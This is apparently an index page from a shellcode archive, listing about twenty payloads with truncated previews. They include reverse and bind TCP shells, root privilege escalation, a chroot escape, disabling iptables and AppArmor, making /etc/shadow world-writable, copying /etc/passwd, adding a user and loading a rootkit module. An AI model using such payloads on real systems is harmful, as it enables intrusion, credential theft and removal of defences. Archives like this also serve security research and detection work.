OSX/PPC - Remote findsock by recv() Key Shellcode

OSX/PPC - Remote findsock by recv Key Shellcode. Shellcode exploit for OSXPPC platform ;;; ;;; PowerPC OSX remote findsock by recv key shellcode ;;; ;;; Dino Dai Zovi , 20040816 ;;; .globl shellcode .text .set KEY, 0x5858580a .set PTHREADEXIT, 0x90017021 ; OSX 10.3.X shellcode: Lfindsock: addis...

BSD/x86 - setuid(0) + Break chroot (../ 10x Loop) + execute /bin/sh Shellcode (57 bytes)

BSD/x86 - setuid0 + Break chroot ../ 10x Loop + execute /bin/sh Shellcode 57 bytes. Shellcode exploit for BSDx86 platform / The setuid0+chroot+execve shellcode it will: setuid0 put '../' 10 times in chroot execute /bin/sh Size 57 bytes OS BSD /rootteam/dev0id rootteam.void.ru [email protected]...

Linux/x86 - /sbin/iptables --flush Shellcode (69 bytes)

Linux/x86 - /sbin/iptables --flush Shellcode 69 bytes. Shellcode exploit for Linuxx86 platform / linux x86 shellcode by eSDee of Netric www.netric.org /sbin/iptables --flush / char main = "\x31\xc0\x31\xdb\xb0\x02\xcd\x80" "\x39\xd8\x75\x2d\x31\xc0\x50\x66" "\x68\x2d\x46\x89\xe6\x50\x68\x62"...

Linux/x86-64 - Reverse TCP (192.168.1.9:4444/TCP) Shell (/bin/sh) + Password (doomedra) Shellcode (138 bytes)

Linux/x86-64 - Reverse TCP 192.168.1.9:4444/TCP Shell /bin/sh + Password doomedra Shellcode 138 bytes. Shellcode exploit for Linuxx86-64 platform / ; Author Andriy Brukhovetskyy - doomedraven - SLAEx64 1322 ; 138 bytes global start section .text start: ;socket syscall push byte 0x29 ; 41 socket p...

Linux/x86-64 - setreuid(0,0) + execve(/bin/csh, [/bin/csh, NULL]) + XOR Encoded Shellcode (87 bytes)

Linux/x86-64 - setreuid0,0 + execve/bin/csh, /bin/csh, NULL + XOR Encoded Shellcode 87 bytes. Shellcode exploit for Linuxx86-64 platform Title: Linux x86-64 setreuid 0,0 & execve"/bin/csh", "/bin/csh", NULL + XOR encoded - 87 bytes Author: egeektronic Twitter: @egeektronic Tested on: Slackware...

BSD/x86 - symlink /bin/sh sh Shellcode (39 bytes)

BSD/x86 - symlink /bin/sh sh Shellcode 39 bytes. Shellcode exploit for BSDx86 platform /The shellcode calls the symlink and makes the link to the /bin/sh in the current dir. size = 39 bytes OS = BSD written by /rootteam/dev0id rootteam.void.ru BITS 32 jmp short callme main: pop esi xor eax,eax mo...

BSD/x86 - Bind TCP (2222/TCP) Shell Shellcode (100 bytes)

BSD/x86 - Bind TCP 2222/TCP Shell Shellcode 100 bytes. Shellcode exploit for BSDx86 platform / The bind shellcode that opens the shell on 2222nd port Size 100 bytes OS BSD /rootteam/dev0id rootteam.void.ru [email protected] BITS 32 main: xor eax,eax push byte 0x06 push byte 0x01 push byte 0x0...

Linux/x86 - Add User (t00r/t00r) PexFnstenvSub Encoded Shellcode (116 bytes)

Linux/x86 - Add User t00r/t00r PexFnstenvSub Encoded Shellcode 116 bytes. Shellcode exploit for Linuxx86 platform unsigned char scode = "\x29\xc9\x83\xe9\xe9\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xfd" "\x96\x34\xe4\x83\xeb\xfc\xe2\xf4\xcc\x5f\xbd\x2f\x97\xd0\x6c\x29"...

Linux/x86 - Copy /etc/passwd to /tmp/outfile Shellcode (97 bytes)

Linux/x86 - Copy /etc/passwd to /tmp/outfile Shellcode 97 bytes. Shellcode exploit for Linuxx86 platform ;Description: Copy /etc/passwd to /tmp/outfile 97 bytes ;Shellcode:...

OpenBSD/x86 - setuid(0) + Load Kernel Module (/tmp/o.o) Shellcode (74 bytes)

OpenBSD/x86 - setuid0 + Load Kernel Module /tmp/o.o Shellcode 74 bytes. Shellcode exploit for OpenBSDx86 platform / The modload shellcode setuid0 loads /tmp/o.o module very usefull if you have rootkit as kernel module in the /tmp dir Size 74 bytes OS OpenBSD /rootteam/dev0id rootteam.void.ru...

Linux/x86 - setuid(0) + Load Kernel Module (/tmp/o.o) Shellcode (67 bytes)

Linux/x86 - setuid0 + Load Kernel Module /tmp/o.o Shellcode 67 bytes. Shellcode exploit for Linuxx86 platform / The shellcode sets uid == 0 and loads the kernel module from /tmp/o.o size = 67 bytes OS = Linux i386 written by /rootteam/dev0id rootteam.void.ru [email protected] BITS 32 jmp shor...

Alpha - setuid() Shellcode (156 bytes)

Alpha - setuid Shellcode 156 bytes. Shellcode exploit for Alpha platform char shellcode= "\x30\x15\xd9\x43" / subq $30,200,$16 / "\x11\x74\xf0\x47" / bis $31,0x83,$17 / "\x12\x14\x02\x42" / addq $16,16,$18 / "\xfc\xff\x32\xb2" / stl $17,-4$18 / "\x12\x94\x09\x42" / addq $16,76,$18 /...

Linux/x86 - setreuid(0,0) + execve(/bin/ash,NULL,NULL) + XOR Encoded Shellcode (58 bytes)

Linux/x86 - setreuid0,0 + execve/bin/ash,NULL,NULL + XOR Encoded Shellcode 58 bytes. Shellcode exploit for Linuxx86 platform Title: Linux x86 setreuid 0,0 & execve"/bin/ash",NULL,NULL + XOR encoded - 58 bytes Author: egeektronic Twitter: @egeektronic Tested on: Slackware 13.37 Thanks: Jonathan...

Linux/x86 - execve(chmod 0777 /etc/shadow) Shellcode (57 bytes)

Linux/x86 - execvechmod 0777 /etc/shadow Shellcode 57 bytes. Shellcode exploit for Linuxx86 platform Linux/x86 execve-chmod 0777 /etc/shadow 57 bytes Author: Hamza Megahed Twitter: @HamzaMega blog: hamza-megadotblogspotdotcom E-mail: hamzadotmegahedatgmaildotcom xor %eax,%eax push %eax pushl...

Linux/x86 - Reverse TCP (www.netric.org:45295/TCP) Shell (/bin/sh) Shellcode (131 bytes)

Linux/x86 - Reverse TCP www.netric.org:45295/TCP Shell /bin/sh Shellcode 131 bytes. Shellcode exploit for Linuxx86 platform / linux x86 shellcode by eSDee of Netric www.netric.org 131 byte - connect back shellcode port=0xb0ef / include char shellcode = "\x31\xc0\x31\xdb\x31\xc9\x51\xb1"...

Linux/x86 - Bind TCP (31337/TCP) Shell Shellcode (108 bytes)

Linux/x86 - Bind TCP 31337/TCP Shell Shellcode 108 bytes. Shellcode exploit for Linuxx86 platform / Title : tcpbindshell 108 bytes Date : 15 May 2013 Author : Russell Willis Testd on: Linux/x86 SMP Debian 3.2.41-2 i686 $ objdump -D tcpbindshell -M intel tcpbindshell: file format elf32-i386...

Linux/SuperH (sh4) - Bind TCP (31337/TCP) Shell (/bin/sh) Shellcode (132 bytes)

Linux/SuperH sh4 - Bind TCP 31337/TCP Shell /bin/sh Shellcode 132 bytes. Shellcode exploit for SuperHSH4 platform / Bind /bin/sh on port 31337 SH4 - 132bytes Dad main: mov 102,r3 mov 2,r4 mov 1,r5 xor r6,r6 mov.l r6,@-r15 mov.l r5,@-r15 mov.l r4,@-r15 mov 1,r4 mov r15,r5 trapa 19 mov r0,r4 mov...

Linux/x86-64 - Bind TCP (4444/TCP) Shell (/bin/sh) + Password (doomedra) Shellcode (175 bytes)

Linux/x86-64 - Bind TCP 4444/TCP Shell /bin/sh + Password doomedra Shellcode 175 bytes. Shellcode exploit for Linuxx86-64 platform / ;Author - Andriy Brukhovetskyy - doomedraven - SLAEx64 - 1322 ;175 bytes ;http://www.doomedraven.com/2014/05/slaex64-shellbindtcp-with-passcode.html global start...

Linux/x86 - /etc/init.d/apparmor teardown Shellcode (53 bytes)

Linux/x86 - /etc/init.d/apparmor teardown Shellcode 53 bytes. Shellcode exploit for Linuxx86 platform Name = John Babio Twitter = 3vi1john /etc/init.d/apparmor teardown const char sc = "\x6a\x0b\x58\x31\xd2\x52\x68\x64\x6f\x77\x6e\x68\x74\x65\x61\x72\x89\xe1"...

Linux/x86 - Reverse TCP (127.1.1.1:12345/TCP) cat /etc/passwd Shellcode (111 bytes)

Linux/x86 - Reverse TCP 127.1.1.1:12345/TCP cat /etc/passwd Shellcode 111 bytes. Shellcode exploit for Linuxx86 platform / ; Author: Daniel Sauder ; Website: http://govolution.wordpress.com/about ; License http://creativecommons.org/licenses/by-sa/3.0/ ; Shellcode reads /etc/passwd and sends the...